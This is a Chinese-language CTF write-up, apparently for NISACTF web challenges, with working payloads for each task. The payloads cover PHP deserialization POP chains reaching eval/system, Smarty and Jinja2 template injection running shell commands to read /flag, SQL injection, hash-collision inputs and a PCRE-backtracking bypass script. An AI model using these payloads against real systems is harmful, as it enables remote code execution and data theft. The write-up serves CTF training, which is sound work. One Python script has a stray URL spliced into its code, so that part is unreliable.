easyssrf
打開題目,顯示的是

嘗試輸入, 發現輸入flag有東西

讀取檔案

訪問下一個網站

讀取檔案 不能以file開頭 直接偽協議,base64解碼

checkIn
奇怪的unicode編碼
當選中左邊的時候右邊也會被選中

我們在vscode看看 這樣的額

展示的是UTF-16 三位16進制 轉化一下UTF-8
U+202E 0xE2 0x80 0xAE %E2%80%AE
U+2066 0xE2 0x81 0xA6 %E2%81%A6
U+2069 0xE2 0x81 0xA9 %E2%81%A9
調整一下就好了
payload
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF

level-up
考點 hash強碰撞 parse_url函式漏洞 create_funcion函式代碼執行
打開題目,查看原始碼

disallow 一般robots.txt里會有 查看一下,進入第二關

第二關 md5 碰撞繞過

array1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92
array2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92
進入第三關

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
進入第四關

先了解一下parse_url函式:決議 URL,回傳其組成部分
- scheme - 如 http
- host
- port
- user
- pass
- path
- query - 在問號
?之后 - fragment - 在散列符號
#之后
方法一、php傳參決議:不規范的被轉化為_;NI+ => NI_
方法二、parse_url函式漏洞
http://xxxx/xx.php?xx=xx 決議的query 為xx=xx
http://xxxx///xx.php?xx=xx 決議的query 為NULL 就是決議不到query
進入第五關

ok 這個形式 形似之前我做的筆記,第二個引數會被當作命令執行

考點應該是 create_function 方法
分析該正則
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
/i不區分大小寫
/s匹配任何不可見字符,包括空格、制表符、換頁符等等,等價于[fnrtv]
/D如果使用$限制結尾字符,則不允許結尾有換行;
意思就是 匹配字母數字下劃線開頭的字符
我們需要找到一個不以數字,字母,下劃線等開頭的value,同時可以正常執行函式
可以是fuzz找 就是 ascii碼32-126作為第一個引數 發請求 看回應
找到的是 \ 也就是 %5c
構造一下
a=\create_function&b=;}phpinfo();/*


babyupload
考點:python的os.path函式漏洞
查看原始碼

訪問 下載原始碼
Flask寫的后端,上傳的檔案名不能有. 回傳一個路徑

拼接路徑 讀取檔案

os.path漏洞

所以說
os.path("upload/",'/flag') => os.path('/flag')
一般來講 flag都是在根目錄下載flag 特別是這樣的考點
上傳的檔案名為 /flag 就會讀取內容


bingdundun~
考點:phar偽協議讀取壓縮檔案
打開題目

說的可以上傳壓縮包,我們制造一個壓縮包木馬 然后 phar 讀取試試
這里剛開始上傳rar不可以 上傳的zip
寫木馬=>壓縮成zip

執行成功,尋找flag

babyserialize
考點:反序列POC構造 system繞過
一眼反序列化 打開題目為原始碼
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
?>
一步一步的分析
# 這里可以先看看提示
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
# 構造
?ser=O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}

然后接著分析 先找到目的地
# NISA類的
# __invoke以函式的形式呼叫物件時觸發
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
# 發現 Ilovetxw類有
# $this->su=new NISA();
# __toString 將物件當作字串處理的時候觸發
public function __toString(){
$bb = $this->su;
return $bb();
}
# 發現了兩處
# 1.NISA類的
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
# 2.four類的
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
我們先根據第一處構造POC
class NISA{
public $fun;
public $txw4ever;
}
class Ilovetxw{
public $huang;
public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = "phpinfo();";
$a->fun = $b;
echo((serialize($a)));
說明是對的不過被waf擋住了而已

過濾了system
命令執行函式system()繞過
"\x73\x79\x73\x74\x65\x6d"("cat%20/flag");
(sy.(st).em)(whoami);

最終的POC
class NISA{
public $fun;
public $txw4ever;
}
class Ilovetxw{
public $huang;
public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = '"\x73\x79\x73\x74\x65\x6d"("cat /f*");';
$a->fun = $b;
echo((serialize($a)));
第二處構造POC
# NISA類的
# __invoke以函式的形式呼叫物件時觸發
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
# 發現 Ilovetxw類有
# $this->su=new NISA();
# __toString 將物件當作字串處理的時候觸發
public function __toString(){
$bb = $this->su;
return $bb();
}
# 2.four類的
# __set給不可訪問 不存在的屬性賦值時觸發
# $this->a=new Ilovetxw();
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
# Ilovetxw類的
# $this->huang=new four();
# __call呼叫不存在的方法觸發
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
# TianXiWei類的
# $this->ext=new Ilovetxw();
public function __wakeup()
{
$this->ext->nisa($this->x);
}
合起來構造
class NISA{
public $fun;
public $txw4ever;
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="system('ls');";
echo urlencode(serialize($a));
也是成功的

繞過
class NISA{
public $fun;
public $txw4ever;
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="(sy.(st).em)('cat /f*');";
echo urlencode(serialize($a));

midlevel
考點:Smarty SSTI
打開題目顯示了IP 肯定時根據xff顯示的IP 所以我們的可控點就是xff 來到最后看到


使用的是Smarty模板 考慮服務器模板注入
Smarty的注入方式{if phpinfo()}{/if} 嘗試一下
OK 已經出答案了
X-Forwarded-For:{if system('nl /f*')}{/if}


join-us
考點:join using 無列名注入
訪問登錄頁面,看到一個cat u get flag 輸入框 試試sql注入
有報錯資訊

黑名單
by updatexml database union columns = substr

爆資料庫名
這里一步一步的測驗過濾什么的時候,發現了 泄露了表的名稱
在查詢是 如果查詢的列不存在 并且 沒有關閉報錯資訊 可以查詢一個不存在的列 這樣會報錯

爆表名
方法一、brup爆破
這里忘記了考慮 過濾= like替換了 直接爆破 一般我們創建的表都是在最后的


方法二、like替換=

join using 爆破列名

查出來Fal_flag有以下三列
id
data
i_tell_u_this_is_Fal(se)_flag_is_in_another
1'or/**/extractvalue(1,concat(0x7e,(select * from(select * from Fal_flag a join Fal_flag b using(id,data,i_tell_u_this_is_Fal(se)_flag_is_in_another))c),0x7e))--+
提示不在這個表中 去看另外一個表



{3bfb0ba4-dac9-425a-9e0f-cf2672d7afdd}
或者查data,結果都是一樣的,配個mid 顯示后面的

is secret
考點:RC4、SSTI
打開之后 這樣,讓我們發現secret
嘗試 傳參 /secret 等等 發現是/secret

頁面:

意思就是給他secret 它回傳加密的內容

看 第一個加密時字母 其余的不可見 猜測可能加密的字符長度受限 試試看
果然 泄露了敏感資訊 分析一下
- RC4 解密 密鑰是 HereIsTreasure
- render_template_string 渲染 存在 SSTI python的

找一個RC4加密的腳本
import base64
from urllib import parse
def rc4_main(key="init_key", message="init_message"): # 回傳加密后得內容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" # 此處為密文
message = input("請輸入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url編碼:" + enc_url)
# print("rc4加密后的base64編碼"+enc_base64)
運行RC4 加密
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

ls換成cat /flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}

popchains
考點:反序列化鏈子構造、flag藏得位置
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
//3.$this->string=new Make_a_Change
// 把實體當作字串處理觸發
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
// 這里
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
# 終點
public function append($value){
include($value);
}
# 1.呼叫終點 __invoke 以函式形式呼叫時觸發
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
// 2. $this->effort=new Try_Work_Hard();
// __get 訪問不存在 不可訪問的屬性觸發
$function = $this->effort;
return $function();
}
}
構造的POC
<?php
class Road_is_Long{
public $page;
public $string;
//3.$this->string=new Make_a_Change
}
class Try_Work_Hard{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}
class Make_a_Change{
public $effort;
// 2. $this->effort=new Try_Work_Hard();
}
// $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));
先本地測驗一下 我在同目錄放了一個flag.php

ok 是可以的
試試看,沒有顯示 就懷疑是不是沒有放在flag.php

往常一樣試試根目錄 /flag /flag.php 一般就是給我們挖坑就不會改的特別離譜的名字

最終的POC
class Road_is_Long{
public $page;
public $string;
//3.$this->string=new Make_a_Change
}
class Try_Work_Hard{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=/flag";
}
}
class Make_a_Change{
public $effort;
// 2. $this->effort=new Try_Work_Hard();
}
// $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));
這個比前一個反序列化要簡單看來
middlerce
考點:PRCE繞過、RCE
打開題目直接是原始碼
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
看看這個正則
^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$
.*直接匹配所有,但是后面運算式還是需要匹配 這樣就會回溯
什么意思?
就是如下圖

那么如果找不到會一直回溯尋找嘛?當然不會 PHP有個100w的次數限制,也就是當回溯100w次 preg_match 將不在尋找,回傳為false
注意 這里是false 0 √ false=0 ×
所以在本題中 我們可以構造一個大于回溯個數的串造成逃逸
看這里,是json解碼之后的cmd內容,我們直接構造一個json串 python發送請求
在嘗試程序 system啥的被禁 我們可以閉合前一個 構造下一個php標簽繞過
$command = json_decode($txw4ever,true)['cmd'];
// checkdata 過濾了一些命令 嘗試繞過
checkdata($command);
@eval($command);
如下
import requests
url = "http://1.14.71.254:28950/"
# 直接構造json串
'''
注意細節:
這樣是不對的:'{"cmd":"?><?= `ls`?>;","overflow":'+"-"*1000000+'}'
因為:"overflow":'+"-"*1000000+'}' 這里拼接完成后 - 并沒有引號包裹 導致錯誤
正確的應該給外層-加上引號 如'{"cmd":"?><?= `ls`?>;","overflow":"'+"-"*1000000+'"}'
因為-沒有在正則的[]里面 所以可以使用
'''
data='https://www.cnblogs.com/yb0osing/p/{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data=https://www.cnblogs.com/yb0osing/p/{"letter":data})
print(resp.text)

hardsql
等會寫wp! 現在有些疲憊啦!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/523168.html
標籤:其他
